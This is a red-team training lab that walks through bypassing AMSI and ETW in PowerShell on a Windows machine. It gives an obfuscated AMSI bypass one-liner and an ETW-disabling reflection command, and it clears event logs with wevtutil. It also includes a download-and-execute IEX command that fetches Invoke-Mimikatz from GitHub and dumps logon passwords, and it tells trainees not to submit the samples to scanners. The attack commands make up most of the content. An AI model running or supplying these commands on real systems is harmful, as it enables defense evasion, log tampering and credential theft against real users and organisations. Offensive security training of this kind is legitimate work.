1. LAB - POWERSHELL, BYPASSING AMSI AND ETW

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

1.1 TURN DEFENDER ON

For this lab we will enable Microsoft Defender - in order to demonstrate how AMSI works, and how to bypass it.

  • Check if Defender is turned ON by running the checkav.ps1 script on your Windows machine by opening a PowerShell prompt with Administrator privileges:
C:\thev\labs\powershell\av_check.ps1
  • The output should be like this:

image

IMPORTANT: Make sure Real-Time Protection is enabled and the rest is disabled - if this is not the case just run the following script, it will configure the right settings.

  • On your Windows machine, from a PowerShell prompt with Administrator privileges:
C:\thev\labs\powershell\av_enable.ps1
  • The output should be like this :

image

1.2 PREPARING OUR LAB ENVIRONMENT

IMPORTANT: Close your previous powershell windows as they have been patched in the previous lab - and AMSI won't trigger in this lab otherwise.

  • Before we start let's clear the PowerShell event logs, so there's no noise from before in there. You can do this by opening a PowerShell console and typing the following command:

  • On your Windows machine, open a PowerShell prompt with Administrator privileges:

wevtutil cl "Microsoft-Windows-PowerShell/Operational"

We're going to start with a brief AMSI repeater, so we properly understand how it works, and then we'll move on to patching ETW (Event Tracing for Windows) as well. Bypassing AMSI doesn't disable eventlogs - which are useful telemetry for EDR's, SIEM's and UEBA's.

  • Now from the same Powershell terminal, run Mimikatz from memory with IEX (Invoke Expression)
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"';

We'll see the script won't execute since AMSI intercepted it before executing and has sent it to Defender that scanned it and determined it as malicious:

image

Let's have a look at the EventViewer logs - open EventViewer, select "Application and Services Logs", "Microsoft","Windows", "Powershell" and finally "Operational".

image

OK, so now what? Let's bypass AMSI!

  • On your Windows machine, open a PowerShell prompt with Administrator privileges and run the obfuscated AMSI Bypass from the previous lab in the same PowerShell terminal:
[Ref].ASseMBly.gETTYPE(('S'+("{1}{0}{2}" -f 's','y','tem.M')+'a'+'nag'+'em'+("{0}{2}{3}{1}"-f'ent','ation.A','.Auto','m')+("{0}{1}" -f'ms','iU')+'ti'+'ls')).getFIeLd((("{0}{1}" -f'ams','iI')+("{0}{1}" -f 'ni','tFa')+("{1}{0}" -f'ed','il')),(("{0}{1}{2}" -f 'N','onPu','bl')+'ic'+','+("{0}{1}"-f 'Sta','tic'))).seTVAlUE(${NU`ll},${t`RUE})

image

Now let's try that Invoke-MimiKatz again, if all goes well, AMSI should be patched and the script will run:

  • From the same Powershell terminal (with the applied AMSI patch), run MimiKatz from memory with IEX (Invoke Expression)
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"';

Success!!!

We now run into the fact that the powershell event logs are still being generated, and this is telemetry that EDR's, SIEM's and UEBA's use to detect malicious activity.

If you check the powershell logs with eventviewer again, you will see the AMSI bypass and the Invoke-Mimikatz commands logged.

  • A very cool Forensics tool that can analyze PowerShell logs is PowerShell-Hunter (https://github.com/MHaggis/PowerShell-Hunter) - if we run this on our PowerShell logs it will also flag some suspicious commands.

  • Ideally we don't want any of these logs to be generated and thus shutting off the telemetry for security solutions, we can do this by patching ETW (Event Tracing for Windows).

  • Let's clear the PowerShell event logs again before we apply the ETW bypass (remember AMSI is already patched so this ETW bypass doesn't need to be obfuscated):

  • On your Windows machine, open a PowerShell prompt with Administrator privileges:

wevtutil cl "Microsoft-Windows-PowerShell/Operational"

DETECTIONS Eventlog 800, 4103, 4104

1.3 BYPASSING ETW IN POWERSHELL

To disable ETW logging in the current PowerShell session, you can use the following PowerShell command. This command uses reflection to modify internal .NET fields that control ETW logging.

  • On your Windows machine, open a new PowerShell prompt with Administrator privileges:

Below is a one-liner that disables ETW logging in the current PowerShell session:

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

image

This oneliner gets detected by AMSI, so either we patch AMSI first, or we obfuscate this command with Invoke-Obfuscation. It's probably a good idea to obfuscate it anyway (you can do this with Invoke-Obfuscation just like we did with AMSI before), since this is a well-known technique, and running the ETW patch first will disable the ETW logging for the AMSI patch as well, so we won't see any logs from that!

Let's break down what this command does:

  • [Reflection.Assembly]::LoadWithPartialName('System.Core'):
    • Loads the System.Core.dll assembly, containing core .NET classes, including System.Diagnostics.Eventing.EventProvider.
  • .GetType('System.Diagnostics.Eventing.EventProvider'):
    • Retrieves the System.Diagnostics.Eventing.EventProvider type, responsible for emitting ETW events.
  • .GetField('m_enabled','NonPublic,Instance'):
    • Retrieves the m_enabled field of the EventProvider class, a non-public instance field that determines whether ETW events are enabled.
  • .SetValue(...):
    • Sets the value of the m_enabled field.
  • [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider'):
    • Retrieves the System.Management.Automation.Tracing.PSEtwLogProvider type, a Powershell-specific wrapper around the .NET ETW functionality.
  • .GetField('etwProvider','NonPublic,Static').GetValue($null):
    • Retrieves the etwProvider field of the PSEtwLogProvider class, a non-public static field holding a reference to the EventProvider instance used by Powershell.
  • ,0:
    • Sets the m_enabled field to 0 (false), disabling ETW events for the Powershell EventProvider.

We can split this command into multiple lines for better readability:

image

Below is a diagram that illustrates how this ETW bypass works:

Screenshot

  • Powershell uses the .NET EventProvider class to generate ETW events.
  • The PSEtwLogProvider class in Powershell acts as a bridge, holding the specific EventProvider instance used for Powershell logging.
  • The m_enabled field within the EventProvider class controls whether events are actually emitted.
  • By using reflection, the code directly accesses and modifies this internal m_enabled field, setting it to 0.
  • This prevents the Powershell EventProvider from generating ETW events, effectively bypassing ETW logging for that Powershell process.

Let's demonstrate running the obfuscated AMSI bypass first, then the ETW bypass:

  • On your Windows machine, open a new PowerShell prompt with Administrator privileges and run the obfuscated AMSI Bypass from the previous lab in the same PowerShell terminal:
cd C:\THEV\Labs\amsi
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
  • On your Windows machine, from the same PowerShell prompt (with Administrator privileges) run the obfuscated AMSI Bypass from the previous lab in the same PowerShell terminal:
[Ref].ASseMBly.gETTYPE(('S'+("{1}{0}{2}" -f 's','y','tem.M')+'a'+'nag'+'em'+("{0}{2}{3}{1}"-f'ent','ation.A','.Auto','m')+("{0}{1}" -f'ms','iU')+'ti'+'ls')).getFIeLd((("{0}{1}" -f'ams','iI')+("{0}{1}" -f 'ni','tFa')+("{1}{0}" -f'ed','il')),(("{0}{1}{2}" -f 'N','onPu','bl')+'ic'+','+("{0}{1}"-f 'Sta','tic'))).seTVAlUE(${NU`ll},${t`RUE})
  • Open ELEX and check the powershell logs - you should see the AMSI bypass in there.

Image

  • Now run the unobfuscated ETW bypass in the same powershell terminal:
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
  • Go back toELEX and check the powershell logs - you won't see any new events.

Image

  • After the ETW patch let's use a simple write-host command to see if it works, and check eventviewer for logs:
write-host "This should not show up in your powershell logs, as ETW is patched!!!"
  • Go back toELEX and check the powershell logs - you won't see any new events.

Image

Now let's run Mimikatz from memory with IEX (Invoke Expression) again, if all goes well, AMSI and ETW should be patched and the script will run without any logs being generated:

  • On your Windows machine, from the same PowerShell prompt (with the applied ETW and AMSI patches) with Administrator privileges:
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"';

Image

Success we bypassed both AMSI and ETW! And succesfully ran Mimikatz from memory, dumping credentials, without any logs being generated!

  • Go back toELEX and check the powershell logs - you won't see any new events.

Image

Check Defender Log with powershell:

Verify Defender for most recent alerts

Get-WinEvent -FilterHashtable @{ LogName = "Microsoft-Windows-Windows Defender/Operational"; Id = 1116 } -MaxEvents 1

Image

1.4 KEY POINTS

  • This ETW bypass method relies on internal .NET implementation details and might break if those details change in future .NET or Powershell versions.
  • It only affects the current Powershell process - so it's not a system wide change.
  • It is very effective at disabling the ETW logging from within Powershell.
  • This is a user-mode technique - it doesn't require kernel-mode access or drivers.
  • This technique is commonly used by malicious actors.
  • EDR solutions monitor for this type of activity.

We can can now continue to the next lab where we'll writer our own powershell loader which applies both the AMSI and ETW bypasses before loading any payloads.

CLEANUP

On your Windows machine:

  • Close all command prompts, and PowerShell windows.